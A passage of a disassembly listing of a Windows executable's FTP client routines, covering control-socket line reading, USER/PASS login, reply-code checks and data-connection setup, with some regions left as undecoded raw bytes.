loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		call	near ptr 77C1C561h
		nop
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445450h, 80A49DE8h, 0C4839077h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44544068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52406807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
		dd 83F08B77h, 0F33B08C4h, 38681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
		dd 54386824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3DC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3DC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445230 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3DC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CE4
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h
		dd 0C4815B5Eh, 100h, 248C8BC3h,	114h, 0A5E85153h, 83FFFFF8h
		dd 5E5F08C4h, 0C4815Bh,	0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445504
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454FC ; jumptable 0042D351 case 1
		mov	dl, byte_445500
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454F4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454F8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454EC ; jumptable 0042D351 case 3
		mov	al, byte_4454F0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454E4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454E8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
